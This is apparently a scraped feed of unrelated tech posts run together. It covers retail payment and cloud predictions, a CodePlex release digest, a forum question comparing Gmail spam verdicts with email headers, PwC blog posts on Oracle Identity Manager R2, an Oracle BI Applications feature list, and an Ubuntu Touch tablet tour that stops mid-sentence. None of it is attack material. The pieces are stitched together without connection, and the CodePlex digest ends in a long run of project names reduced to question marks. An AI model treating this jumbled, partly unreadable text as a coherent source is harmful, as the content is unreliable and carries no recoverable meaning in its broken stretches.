PayPal announced its moving into in-store payments, and Google launched its wallet in selected cities.  Overall I think the payment scene is heating up and that trend will continue. 2. Engineered Systems The industry is moving toward purpose-built appliances that are optimized across the entire stack. Oracle calls these "engineered systems" and the first two examples are Exadata and Exalogic, but there are other examples from other vendors. These are particularly important to the retail industry because of the volume of data that must be processed. There should be continued adoption in 2011. Oracle reports that Exadata is its fasting growing product, and at the recent OpenWorld it announced the SuperCluster and Exalytics products, both continuing the engineered systems trend. SAP’s HANA continues to receive attention, and IBM also seems to be moving in this direction. 3. Social Analytics There are lots of tools that provide insight into how a brand is perceived across popular internet sites, but as far as I know, these tools are not industry specific. The next step needs to mine the data and determine how it should influence retail operations. The data needs to help retailers determine how they create promotions, which products to stock, and how to keep consumers engaged. Social data alone does not provide the answers, but its one more data point that will help retailers make better decisions. Look for some vendor consolidation to help make this happen. In March, Salesforce.com acquired leading social monitoring vendor Radian6 and followed up with acquisitions of Heroku and Model Metrics. The notion of Social CRM seems to be going more mainstream now. 4. 2-D Barcodes Look for more QRCodes on shelf-tags, in newspaper circulars, and on billboards. It's a great portal from the physical world into the digital one that buys us time until augmented reality matures further. Nobody wants to type "www", backslash, and ".com" on their phones. QRCodes are everywhere. ‘Nuff said. 5. In the words of Microsoft, "To the Cloud!" My favorite "cloud application" is Evernote. If you take notes on your work laptop, you will inevitably need those notes on your home PC. And if you manage to solve that problem, you'll need to access them from your mobile phone. Evernote stores your notes in the cloud and provides easy ways to access them. Being able to access a service from anywhere and not having to worry about backups, upgrades, etc. is great. Retailers will start to rely on cloud services, both public and private, in the coming year. There were no shortage of announcements in this area: Amazon’s cloud-based Kindle Fire, Apple’s iCloud, Oracle’s Public Cloud, etc. I saw an interesting presentation showing how BevMo moved their systems to the cloud.  Seems like retailers are starting to consider the cloud for specific uses. 6. F-CommerceTop of Form Move over "E" and "M" so we can introduce "F-Commerce," which should go mainstream in 2011. Already several retailers have created small stores on Facebook, and it won't be long before Facebook becomes a full-fledged channel in the omni-channel world of retail. The battle between Facebook and Google will heat up over retail, where both stand to make lots of money. JCPenney and ASOS both put their entire catalogs on Facebook, and lots of other retailers have connected Facebook to their e-commerce site. I still think selling from the newsfeed is the best approach, and several retailers are trying that approach as well. I just don’t see Google+ as a threat to Facebook, so I think that battle is over.  I called 2011 The Year of F-Commerce, and that was probably accurate. Its good to look back at predictions, but we also have to think about what was missed.  I didn't see Amazon entering the tablet business with such a splash, although in hindsight it was obvious. Nor did I think HP would fall so far so fast.  Look for my 2012 predictions coming soon.

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• CodePlex Daily Summary for Monday, August 11, 2014

  CodePlex Daily Summary for Monday, August 11, 2014Popular ReleasesSpace Engineers Server Manager: SESM V1.15: V1.15 - Updated Quartz library - Correct a bug in the new mod managment - Added a warning if you have backup enabled on a server but no static map configuredAspose for Apache POI: Missing Features of Apache POI SS - v 1.2: Release contain the Missing Features in Apache POI SS SDK in comparison with Aspose.Cells What's New ? Following Examples: Create Pivot Charts Detect Merged Cells Sort Data Printing Workbooks Feedback and Suggestions Many more examples are available at Aspose Docs. Raise your queries and suggest more examples via Aspose Forums or via this social coding site.AngularGo (SPA Project Template): AngularGo.VS2013.vsix: First ReleaseTouchmote: Touchmote 1.0 beta 13: Changes Less GPU usage Works together with other Xbox 360 controls Bug fixesPublic Key Infrastructure PowerShell module: PowerShell PKI Module v3.0: Important: I would like to hear more about what you are thinking about the project? I appreciate that you like it (2000 downloads over past 6 months), but may be you have to say something? What do you dislike in the module? Maybe you would love to see some new functionality? Tell, what you think! Installation guide:Use default installation path to install this module for current user only. To install this module for all users — enable "Install for all users" check-box in installation UI ...Modern UI for WPF: Modern UI 1.0.6: The ModernUI assembly including a demo app demonstrating the various features of Modern UI for WPF. BREAKING CHANGE LinkGroup.GroupName renamed to GroupKey NEW FEATURES Improved rendering on high DPI screens, including support for per-monitor DPI awareness available in Windows 8.1 (see also Per-monitor DPI awareness) New ModernProgressRing control with 8 builtin styles New LinkCommands.NavigateLink routed command New Visual Studio project templates 'Modern UI WPF App' and 'Modern UI W...ClosedXML - The easy way to OpenXML: ClosedXML 0.74.0: Multiple thread safe improvements including AdjustToContents XLHelper XLColor_Static IntergerExtensions.ToStringLookup Exception now thrown when saving a workbook with no sheets, instead of creating a corrupt workbook Fix for hyperlinks with non-ASCII Characters Added basic workbook protection Fix for error thrown, when a spreadsheet contained comments and images Fix to Trim function Fix Invalid operation Exception thrown when the formula functions MAX, MIN, and AVG referenc...SEToolbox: SEToolbox 01.042.019 Release 1: Added RadioAntenna broadcast name to ship name detail. Added two additional columns for Asteroid material generation for Asteroid Fields. Added Mass and Block number columns to main display. Added Ellipsis to some columns on main display to reduce name confusion. Added correct SE version number in file when saving. Re-added in reattaching Motor when drag/dropping or importing ships (KeenSH have added RotorEntityId back in after removing it months ago). Added option to export and r...jQuery List DragSort: jQuery List DragSort 0.5.2: Fixed scrollContainer removing deprecated use of $.browser so should now work with latest version of jQuery. Added the ability to return false in dragEnd to revert sort order Project changes Added nuget package for dragsort https://www.nuget.org/packages/dragsort Converted repository from SVN to MercurialBraintree Client Library: Braintree 2.32.0: Allow credit card verification options to be passed outside of the nonce for PaymentMethod.create Allow billingaddress parameters and billingaddress_id to be passed outside of the nonce for PaymentMethod.create Add Subscriptions to paypal accounts Add PaymentMethod.update Add failonduplicatepaymentmethod option to PaymentMethod.create Add support for dispute webhooksThe Mario Kart 8 App: V1.0.2.1: First Codeplex release. WINDOWS INSTALLER ONLYAspose Java for Docx4j: Aspose.Words vs Docx4j - v 1.0: Release contain the Code Comparison for Features in Docx4j SDK and Aspose.Words What's New ?Following Examples: Accessing Document Properties Add Bookmarks Convert to Formats Delete Bookmarks Working with Comments Feedback and Suggestions Many more examples are available at Aspose Docs. Raise your queries and suggest more examples via Aspose Forums or via this social coding site.File System Security PowerShell Module: NTFSSecurity 2.4.1: Add-Access and Remove-Access now take multiple accoutsYourSqlDba: YourSqlDba 5.2.1.: This version improves alert message that comes a while after you install the script. First it says to get it from YourSqlDba.CodePlex.com If you don't want to update now, just-rerun the script from your installed version. To get actual version running just execute install.PrintVersionInfo. . You can go to source code / history and click on change set 72957 to see changes in the script.Manipulator: Manipulator: manipulatorXNB filetype plugin for Paint.NET: Paint.NET XNB plugin v0.4.0.0: CHANGELOG Reverted old incomplete changes. Updated library for compatibility with Paint .NET 4. Updated project to NET 4.5. Updated version to 0.4.0.0. INSTALLATION INSTRUCTIONS Extract the ZIP file to your Paint.NET\FileTypes folder.EdiFabric: Release 4.1: Changed MessageContextWix# (WixSharp) - managed interface for WiX: Release 1.0.0.0: Release 1.0.0.0 Custom UI Custom MSI Dialog Custom CLR Dialog External UIMath.NET Numerics: Math.NET Numerics v3.2.0: Linear Algebra: Vector.Map2 (map2 in F#), storage-optimized Linear Algebra: fix RemoveColumn/Row early index bound check (was not strict enough) Statistics: Entropy ~Jeff Mastry Interpolation: use Array.BinarySearch instead of local implementation ~Candy Chiu Resources: fix a corrupted exception message string Portable Build: support .Net 4.0 as well by using profile 328 instead of 344. .Net 3.5: F# extensions now support .Net 3.5 as well .Net 3.5: NuGet package now contains pro...babelua: 1.6.5.1: V1.6.5.1 - 2014.8.7New feature: Formatting code; Stability improvement: fix a bug that pop up error "System.Net.WebResponse EndGetResponse";New ProjectsDouDou: a little project.Dynamic MVC: Dynamically generate views from your model objects for a data centric MVC application.EasyDb - Simple Data Access: EasyDb is a simple library for data access that allows you to write less code.ExpressToAbroad: just go!!!!!Full Silverlight Web Video/Voice Conferencing: The Goal of this project is to provide complete Open Source (Voice/Video Chatting Client/Server) Modules Using SilverlightGaia: Gaia is an app for Windows plataform, Gaia is like Siri and Google Now or Betty but Gaia use only text commands.pxctest: pxctestSTACS: Career Management System for MIT by Team "STACS"StrongWorld: StrongWorld.WebSuiteXevas Tools: Xevas is a professional coders group of 'Nimbuzz'. We make all tools for worldwide users of nimbuzz at free of cost.????????: ????????????????: ???????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ????????????????: ????????????????: ???????????????: ???????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ???????????????: ???????????????: ??????????????: ??????????????: ??????????????: ????????????????: ????????????????: ???????????????: ???????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ???????????????: ???????????????: ??????????????: ??????????????: ??????????????: ???????????????: ???????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ???????????????: ???????????????: ??????????????: ??????????????: ??????????????: ???????????????: ????????????????: ???????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ???????????????: ???????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ???????????????: ???????????????: ??????????????: ??????????????: ??????????????: ??????????????: ????????????????: ????????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ???????????????: ???????????????: ??????????????: ??????????????: ??????????????: ????????????????: ?????????

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• Why does Google mark one e-mail as spam while does not the other?

  - by nKn

  I've a Postfix installation which works fine, I don't get any trouble with mails sent through a mail client (in my case, Thunderbird or RoundCube) when the To: address is a GMail account. However, I recently needed to use the PHPMailer tool to send some e-mails to some GMail accounts, so I configured an account to be used via SASL authentication + TLS. I don't mean mass mailing, just 2-3 mails. If I send the e-mail from the Thunderbird or RoundCube clients, the mail is not marked as spam. However, if I use PHPMailer, it always gets catalogued as spam. So I compared both headers and I just can't find the reason why the second is marked as spam while the first one is just ok. The first header sent from a mail client which is not marked as spam: Delivered-To: [email protected] Received: by 10.76.153.102 with SMTP id vf6csp230573oab; Tue, 19 Aug 2014 11:08:19 -0700 (PDT) X-Received: by 10.60.23.39 with SMTP id j7mr45544050oef.20.1408471699715; Tue, 19 Aug 2014 11:08:19 -0700 (PDT) Return-Path: <[email protected]> Received: from mail.mydomain.com (X.ip-92-222-X.eu. [92.222.X.X]) by mx.google.com with ESMTPS id t5si27115082oej.10.2014.08.19.11.08.18 for <[email protected]> (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Tue, 19 Aug 2014 11:08:19 -0700 (PDT) Received-SPF: pass (google.com: domain of [email protected] designates 92.222.X.X as permitted sender) client-ip=92.222.X.X; Authentication-Results: mx.google.com; spf=pass (google.com: domain of [email protected] designates 92.222.X.X as permitted sender) [email protected]; dkim=pass (test mode) [email protected] Received: by mail.mydomain.com (Postfix, from userid 111) id D8F69120293D; Tue, 19 Aug 2014 19:08:17 +0100 (BST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mydomain.com; s=mail; t=1408471697; bh=wKMX9gkQ7tCLv8ezrG5t4bICm/SSLQsNfTdZMToksWw=; h=Date:From:To:Subject:From; b=qRNcYVdmk+n3D1uuv0FInTx7/LzH2ojck9DgCmabFPvfke233lkojUOjezCUGx7iV DL8EayZ28mzzzHpB7ETeMzop/5OS3BmvFtGKVD9gzc78cDIFXTDoRFAnkRWDR2IOxI SOn5tiyODTFpkbDgJOndzQ6qL5K0S9ASNGCZrNL4= X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on vpsX.ovh.net X-Spam-Level: X-Spam-Status: No, score=-1.0 required=3.0 tests=ALL_TRUSTED,T_DKIM_INVALID autolearn=ham autolearn_force=no version=3.4.0 Received: from [192.168.1.111] (unknown [77.231.X.X]) (using TLSv1 with cipher ECDHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) (Authenticated sender: [email protected]) by mail.mydomain.com (Postfix) with ESMTPSA id 910341202624 for <[email protected]>; Tue, 19 Aug 2014 19:08:17 +0100 (BST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mydomain.com; s=mail; t=1408471697; bh=wKMX9gkQ7tCLv8ezrG5t4bICm/SSLQsNfTdZMToksWw=; h=Date:From:To:Subject:From; b=qRNcYVdmk+n3D1uuv0FInTx7/LzH2ojck9DgCmabFPvfke233lkojUOjezCUGx7iV DL8EayZ28mzzzHpB7ETeMzop/5OS3BmvFtGKVD9gzc78cDIFXTDoRFAnkRWDR2IOxI SOn5tiyODTFpkbDgJOndzQ6qL5K0S9ASNGCZrNL4= Message-ID: <[email protected]> Date: Tue, 19 Aug 2014 19:08:24 +0100 From: My Name <[email protected]> User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.6.0 MIME-Version: 1.0 To: My other account <[email protected]> Subject: . Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit . The second header sent from PHPMailer which is always marked as spam: Delivered-To: [email protected] Received: by 10.76.153.102 with SMTP id vf6csp230832oab; Tue, 19 Aug 2014 11:12:10 -0700 (PDT) X-Received: by 10.60.121.67 with SMTP id li3mr44086252oeb.17.1408471930520; Tue, 19 Aug 2014 11:12:10 -0700 (PDT) Return-Path: <[email protected]> Received: from mail.mydomain.com (X.ip-92-222-X.eu. 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Message-ID: <[email protected]> X-Priority: 3 X-Mailer: PHPMailer 5.1 (phpmailer.sourceforge.net) MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset="UTF-8" . I also tried: Adding a User-Agent header to match the first one. Removing the X-Mailer header. No one of them made a difference. Is there some significant difference which is making the second e-mail to be marked as spam by Google?

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• Partner Blog Series: PwC Perspectives Part 2 - Jumpstarting your IAM program with R2

  - by Tanu Sood

  Identity and access management (IAM) isn’t a new concept. Over the past decade, companies have begun to address identity management through a variety of solutions that have primarily focused on provisioning. . The new age workforce is converging at a rapid pace with ever increasing demand to use diverse portfolio of applications and systems to interact and interface with their peers in the industry and customers alike. Oracle has taken a significant leap with their release of Identity and Access Management 11gR2 towards enabling this global workforce to conduct their business in a secure, efficient and effective manner. As companies deal with IAM business drivers, it becomes immediately apparent that holistic, rather than piecemeal, approaches better address their needs. When planning an enterprise-wide IAM solution, the first step is to create a common framework that serves as the foundation on which to build the cost, compliance and business process efficiencies. As a leading industry practice, IAM should be established on a foundation of accurate data for identity management, making this data available in a uniform manner to downstream applications and processes. Mature organizations are looking beyond IAM’s basic benefits to harness more advanced capabilities in user lifecycle management. For any organization looking to embark on an IAM initiative, consider the following use cases in managing and administering user access. Expanding the Enterprise Provisioning Footprint Almost all organizations have some helpdesk resources tied up in handling access requests from users, a distraction from their core job of handling problem tickets. This dependency has mushroomed from the traditional acceptance of provisioning solutions integrating and addressing only a portion of applications in the heterogeneous landscape Oracle Identity Manager (OIM) 11gR2 solves this problem by offering integration with third party ticketing systems as “disconnected applications”. It allows for the existing business processes to be seamlessly integrated into the system and tracked throughout its lifecycle. With minimal effort and analysis, an organization can begin integrating OIM with groups or applications that are involved with manually intensive access provisioning and de-provisioning activities. This aspect of OIM allows organizations to on-board applications and associated business processes quickly using out of box templates and frameworks. This is especially important for organizations looking to fold in users and resources from mergers and acquisitions. Simplifying Access Requests Organizations looking to implement access request solutions often find it challenging to get their users to accept and adopt the new processes.. So, how do we improve the user experience, make it intuitive and personalized and yet simplify the user access process? With R2, OIM helps organizations alleviate the challenge by placing the most used functionality front and centre in the new user request interface. Roles, application accounts, and entitlements can all be found in the same interface as catalog items, giving business users a single location to go to whenever they need to initiate, approve or track a request. Furthermore, if a particular item is not relevant to a user’s job function or area inside the organization, it can be hidden so as to not overwhelm or confuse the user with superfluous options. The ability to customize the user interface to suit your needs helps in exercising the business rules effectively and avoiding access proliferation within the organization. Saving Time with Templates A typical use case that is most beneficial to business users is flexibility to place, edit, and withdraw requests based on changing circumstances and business needs. With OIM R2, multiple catalog items can now be added and removed from the shopping cart, an ecommerce paradigm that many users are already familiar with. This feature can be especially useful when setting up a large number of new employees or granting existing department or group access to a newly integrated application. Additionally, users can create their own shopping cart templates in order to complete subsequent requests more quickly. This feature saves the user from having to search for and select items all over again if a request is similar to a previous one. Advanced Delegated Administration A key feature of any provisioning solution should be to empower each business unit in managing their own access requests. By bringing administration closer to the user, you improve user productivity, enable efficiency and alleviate the administration overhead. To do so requires a federated services model so that the business units capable of shouldering the onus of user life cycle management of their business users can be enabled to do so. OIM 11gR2 offers advanced administrative options for creating, managing and controlling business logic and workflows through easy to use administrative interface and tools that can be exposed to delegated business administrators. For example, these business administrators can establish or modify how certain requests and operations should be handled within their business unit based on a number of attributes ranging from the type of request or the risk level of the individual items requested. Closed-Loop Remediation Security continues to be a major concern for most organizations. Identity management solutions bolster security by ensuring only the right users have the right access to the right resources. To prevent unauthorized access and where it already exists, the ability to detect and remediate it, are key requirements of an enterprise-grade proven solution. But the challenge with most solutions today is that some of this information still exists in silos. And when changes are made to systems directly, not all information is captured. With R2, oracle is offering a comprehensive Identity Governance solution that our customer organizations are leveraging for closed loop remediation that allows for an automated way for administrators to revoke unauthorized access. The change is automatically captured and the action noted for continued management. Conclusion While implementing provisioning solutions, it is important to keep the near term and the long term goals in mind. The provisioning solution should always be a part of a larger security and identity management program but with the ability to seamlessly integrate not only with the company’s infrastructure but also have the ability to leverage the information, business models compiled and used by the other identity management solutions. This allows organizations to reduce the cost of ownership, close security gaps and leverage the existing infrastructure. And having done so a multiple clients’ sites, this is the approach we recommend. In our next post, we will take a journey through our experiences of advising clients looking to upgrade to R2 from a previous version or migrating from a different solution. Meet the Writers:   Praveen Krishna is a Manager in the Advisory Security practice within PwC.  Over the last decade Praveen has helped clients plan, architect and implement Oracle identity solutions across diverse industries.  His experience includes delivering security across diverse topics like network, infrastructure, application and data where he brings a holistic point of view to problem solving. Dharma Padala is a Director in the Advisory Security practice within PwC.  He has been implementing medium to large scale Identity Management solutions across multiple industries including utility, health care, entertainment, retail and financial sectors.   Dharma has 14 years of experience in delivering IT solutions out of which he has been implementing Identity Management solutions for the past 8 years. Scott MacDonald is a Director in the Advisory Security practice within PwC.  He has consulted for several clients across multiple industries including financial services, health care, automotive and retail.   Scott has 10 years of experience in delivering Identity Management solutions. John Misczak is a member of the Advisory Security practice within PwC.  He has experience implementing multiple Identity and Access Management solutions, specializing in Oracle Identity Manager and Business Process Engineering Language (BPEL). Jenny (Xiao) Zhang is a member of the Advisory Security practice within PwC.  She has consulted across multiple industries including financial services, entertainment and retail. Jenny has three years of experience in delivering IT solutions out of which she has been implementing Identity Management solutions for the past one and a half years.

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• Partner Blog Series: PwC Perspectives - Looking at R2 for Customer Organizations

  - by Tanu Sood

  Welcome to the first of our partner blog series. November Mondays are all about PricewaterhouseCoopers' perespective on Identity and R2. In this series, we have identity management experts from PricewaterhouseCoopers (PwC) share their perspective on (and experiences with) the recent identity management release, Oracle Identity Management R2. The purpose of the series is to discuss real world identity use cases that helped shape the innovations in the recent R2 release and the implementation strategies that customers are employing today with expertise from PwC. Part 1: Looking at R2 for Customer Organizations In this inaugural post, we will discuss some of the new features of the R2 release of Oracle Identity Manager that some of our customer organizations are implementing today and the business rationale for those. Oracle's R2 Security portfolio represents a solid step forward for a platform that is already market-leading.  Prior to R2, Oracle was an industry titan in security with reliable products, expansive compatibility, and a large customer base.  Oracle has taken their identity platform to the next level in their latest version, R2.  The new features include a customizable UI, a request catalog, flexible security, and enhancements for its connectors, and more. Oracle customers will be impressed by the new Oracle Identity Manager (OIM) business-friendly UI.  Without question, Oracle has invested significant time in responding to customer feedback about making access requests and related activities easier for non-IT users.  The flexibility to add information to screens, hide fields that are not important to a particular customer, and adjust web themes to suit a company's preference make Oracle's Identity Manager stand out among its peers.  Customers can also expect to carry UI configurations forward with minimal migration effort to future versions of OIM.  Oracle's flexible UI will benefit many organizations looking for a customized feel with out-of-the-box configurations. Organizations looking to extend their services to end users will benefit significantly from new usability features like OIM’s ‘Catalog.’  Customers familiar with Oracle Identity Analytics' 'Glossary' feature will be able to relate to the concept.  It will enable Roles, Entitlements, Accounts, and Resources to be requested through the out-of-the-box UI.  This is an industry-changing feature as customers can make the process to request access easier than ever.  For additional ease of use, Oracle has introduced a shopping cart style request interface that further simplifies the experience for end users.  Common requests can be setup as profiles to save time.  All of this is combined with the approval workflow engine introduced in R1 that provides the flexibility customers need to meet their compliance requirements. Enhanced security was also on the list of features Oracle wanted to deliver to its customers.  The new end-user UI provides additional granular access controls.  Common Help Desk use cases can be implemented with ease by updating the application profiles.  Access can be rolled out so that administrators can only manage a certain department or organization.  Further, OIM can be more easily configured to select which fields can be read-only vs. updated.  Finally, this security model can be used to limit search results for roles and entitlements intended for a particular department.  Every customer has a different need for access and OIM now matches this need with a flexible security model. One of the important considerations when selecting an Identity Management platform is compatibility.  The number of supported platform connectors and how well it can integrate with non-supported platforms is a key consideration for selecting an identity suite.  Oracle has a long list of supported connectors.  When a customer has a requirement for a platform not on that list, Oracle has a solution too.  Oracle is introducing a simplified architecture called Identity Connector Framework (ICF), which holds the potential to simplify custom connectors.  Finally, Oracle has introduced a simplified process to profile new disconnected applications from the web browser.  This is a useful feature that enables administrators to profile applications quickly as well as empowering the application owner to fulfill requests from their web browser.  Support will still be available for connectors based on previous versions in R2. Oracle Identity Manager's new R2 version has delivered many new features customers have been asking for.  Oracle has matured their platform with R2, making it a truly distinctive platform among its peers. In our next post, expect a deep dive into use cases for a customer considering R2 as their new Enterprise identity solution. In the meantime, we look forward to hearing from you about the specific challenges you are facing and your experience in solving those. Meet the Writers Dharma Padala is a Director in the Advisory Security practice within PwC.  He has been implementing medium to large scale Identity Management solutions across multiple industries including utility, health care, entertainment, retail and financial sectors.   Dharma has 14 years of experience in delivering IT solutions out of which he has been implementing Identity Management solutions for the past 8 years. Scott MacDonald is a Director in the Advisory Security practice within PwC.  He has consulted for several clients across multiple industries including financial services, health care, automotive and retail.   Scott has 10 years of experience in delivering Identity Management solutions. John Misczak is a member of the Advisory Security practice within PwC.  He has experience implementing multiple Identity and Access Management solutions, specializing in Oracle Identity Manager and Business Process Engineering Language (BPEL). Jenny (Xiao) Zhang is a member of the Advisory Security practice within PwC.  She has consulted across multiple industries including financial services, entertainment and retail. Jenny has three years of experience in delivering IT solutions out of which she has been implementing Identity Management solutions for the past one and a half years. Praveen Krishna is a Manager in the Advisory  Security practice within PwC.  Over the last decade Praveen has helped clients plan, architect and implement Oracle identity solutions across diverse industries.  His experience includes delivering security across diverse topics like network, infrastructure, application and data where he brings a holistic point of view to problem solving.

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• BI Applications overview

  - by sv744

  Welcome to Oracle BI applications blog! This blog will talk about various features, general roadmap, description of functionality and implementation steps related to Oracle BI applications. In the first post we start with an overview of the BI apps and will delve deeper into some of the topics below in the upcoming weeks and months. If there are other topics you would like us to talk about, pl feel free to provide feedback on that. The Oracle BI applications are a set of pre-built applications that enable pervasive BI by providing role-based insight for each functional area, including sales, service, marketing, contact center, finance, supplier/supply chain, HR/workforce, and executive management. For example, Sales Analytics includes role-based applications for sales executives, sales management, as well as front-line sales reps, each of whom have different needs. The applications integrate and transform data from a range of enterprise sources—including Siebel, Oracle, PeopleSoft, SAP, and others—into actionable intelligence for each business function and user role. This blog  starts with the key benefits and characteristics of Oracle BI applications. In a series of subsequent blogs, each of these points will be explained in detail. Why BI apps? Demonstrate the value of BI to a business user, show reports / dashboards / model that can answer their business questions as part of the sales cycle. Demonstrate technical feasibility of BI project and significantly lower risk and improve success Build Vs Buy benefit Don’t have to start with a blank sheet of paper. Help consolidate disparate systems Data integration in M&A situations Insulate BI consumers from changes in the OLTP Present OLTP data and highlight issues of poor data / missing data – and improve data quality and accuracy Prebuilt Integrations BI apps support prebuilt integrations against leading ERP sources: Fusion Applications, E- Business Suite, Peoplesoft, JD Edwards, Siebel, SAP Co-developed with inputs from functional experts in BI and Applications teams. Out of the box dimensional model to source model mappings Multi source and Multi Instance support Rich Data Model    BI apps have a very rich dimensionsal data model built over 10 years that incorporates best practises from BI modeling perspective as well as reflect the source system complexities  Thanks for reading a long post, and be on the lookout for future posts.  We will look forward to your valuable feedback on these topics as well as suggestions on what other topics would you like us to cover. I Conformed dimensional model across all business subject areas allows cross functional reporting, e.g. customer / supplier 360 Over 360 fact tables across 7 product areas CRM – 145, SCM – 47, Financials – 28, Procurement – 20, HCM – 27, Projects – 18, Campus Solutions – 21, PLM - 56 Supported by 300 physical dimensions Support for extensive calendars; Gregorian, enterprise and ledger based Conformed data model and metrics for real time vs warehouse based reporting  Multi-tenant enabled Extensive BI related transformations BI apps ETL and data integration support various transformations required for dimensional models and reporting requirements. All these have been distilled into common patterns and abstracted logic which can be readily reused across different modules Slowly Changing Dimension support Hierarchy flattening support Row / Column Hybrid Hierarchy Flattening As Is vs. As Was hierarchy support Currency Conversion :-  Support for 3 corporate, CRM, ledger and transaction currencies UOM conversion Internationalization / Localization Dynamic Data translations Code standardization (Domains) Historical Snapshots Cycle and process lifecycle computations Balance Facts Equalization of GL accounting chartfields/segments Standardized values for categorizing GL accounts Reconciliation between GL and subledgers to track accounted/transferred/posted transactions to GL Materialization of data only available through costly and complex APIs e.g. Fusion Payroll, EBS / Fusion Accruals Complex event Interpretation of source data – E.g. o    What constitutes a transfer o    Deriving supervisors via position hierarchy o    Deriving primary assignment in PSFT o    Categorizing and transposition to measures of Payroll Balances to specific metrics to support side by side comparison of measures of for example Fixed Salary, Variable Salary, Tax, Bonus, Overtime Payments. o    Counting of Events – E.g. converting events to fact counters so that for example the number of hires can easily be added up and compared alongside the total transfers and terminations. Multi pass processing of multiple sources e.g. headcount, salary, promotion, performance to allow side to side comparison. Adding value to data to aid analysis through banding, additional domain classifications and groupings to allow higher level analytical reporting and data discovery Calculation of complex measures examples: o    COGs, DSO, DPO, Inventory turns  etc o    Transfers within a Hierarchy or out of / into a hierarchy relative to view point in hierarchy. Configurability and Extensibility support  BI apps offer support for extensibility for various entities as automated extensibility or part of extension methodology Key Flex fields and Descriptive Flex support  Extensible attribute support (JDE)  Conformed Domains ETL Architecture BI apps offer a modular adapter architecture which allows support of multiple product lines into a single conformed model Multi Source Multi Technology Orchestration – creates load plan taking into account task dependencies and customers deployment to generate a plan based on a customers of multiple complex etl tasks Plan optimization allowing parallel ETL tasks Oracle: Bit map indexes and partition management High availability support    Follow the sun support. TCO BI apps support several utilities / capabilities that help with overall total cost of ownership and ensure a rapid implementation Improved cost of ownership – lower cost to deploy On-going support for new versions of the source application Task based setups flows Data Lineage Functional setup performed in Web UI by Functional person Configuration Test to Production support Security BI apps support both data and object security enabling implementations to quickly configure the application as per the reporting security needs Fine grain object security at report / dashboard and presentation catalog level Data Security integration with source systems  Extensible to support external data security rules Extensive Set of KPIs Over 7000 base and derived metrics across all modules Time series calculations (YoY, % growth etc) Common Currency and UOM reporting Cross subject area KPIs (analyzing HR vs GL data, drill from GL to AP/AR, etc) Prebuilt reports and dashboards 3000+ prebuilt reports supporting a large number of industries Hundreds of role based dashboards Dynamic currency conversion at dashboard level Highly tuned Performance The BI apps have been tuned over the years for both a very performant ETL and dashboard performance. The applications use best practises and advanced database features to enable the best possible performance. Optimized data model for BI and analytic queries Prebuilt aggregates& the ability for customers to create their own aggregates easily on warehouse facts allows for scalable end user performance Incremental extracts and loads Incremental Aggregate build Automatic table index and statistics management Parallel ETL loads Source system deletes handling Low latency extract with Golden Gate Micro ETL support Bitmap Indexes Partitioning support Modularized deployment, start small and add other subject areas seamlessly Source Specfic Staging and Real Time Schema Support for source specific operational reporting schema for EBS, PSFT, Siebel and JDE Application Integrations The BI apps also allow for integration with source systems as well as other applications that provide value add through BI and enable BI consumption during operational decision making Embedded dashboards for Fusion, EBS and Siebel applications Action Link support Marketing Segmentation Sales Predictor Dashboard Territory Management External Integrations The BI apps data integration choices include support for loading extenral data External data enrichment choices : UNSPSC, Item class etc. Extensible Spend Classification Broad Deployment Choices Exalytics support Databases :  Oracle, Exadata, Teradata, DB2, MSSQL ETL tool of choice : ODI (coming), Informatica Extensible and Customizable Extensible architecture and Methodology to add custom and external content Upgradable across releases

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• Screenshot Tour: Ubuntu Touch 14.04 on a Nexus 7

  - by Chris Hoffman

  Ubuntu 14.04 LTS will “form the basis of the first commercially available Ubuntu tablets,” according to Canonical. We installed Ubuntu Touch 14.04 on our own hardware to see what those tablets will be like. We don’t recommend installing this yourself, as it’s still not a polished, complete experience. We’re using “Ubuntu Touch” as shorthand here — apparently this project’s new name is “Ubuntu For Devices.” The Welcome Screen Ubuntu’s touch interface is all about edge swipes and hidden interface elements — it has a lot in common with Windows 8, actually. You’ll see the welcome screen when you boot up or unlock a Ubuntu tablet or phone. If you have new emails, text messages, or other information, it will appear on this screen along with the time and date. If you don’t, you’ll just see a message saying “No data sources available.” The Dash Swipe in from the right edge of the welcome screen to access the Dash, or home screen. This is actually very similar to the Dash on Ubuntu’s Unity desktop. This isn’t a surprise — Canonical wants the desktop and touch versions of Ubuntu to use the same code. In the future, the desktop and touch versions of Ubuntu will use the same version of Unity and Unity will adjust its interface depending on what type of device your’e using. Here you’ll find apps you have installed and apps available to install. Tap an installed app to launch it or tap an available app to view more details and install it. Tap the My apps or Available headings to view a complete list of apps you have installed or apps you can install. Tap the Search box at the top of the screen to start searching — this is how you’d search for new apps to install. As you’d expect, a touch keyboard appears when you tap in the Search field or any other text field. The launcher isn’t just for apps. Tap the Apps heading at the top of the screen and you’ll see hidden text appear — Music, Video, and Scopes. This hidden navigation is used throughout Ubuntu’s different apps and can be easy to miss at first. Swipe to the left or right to 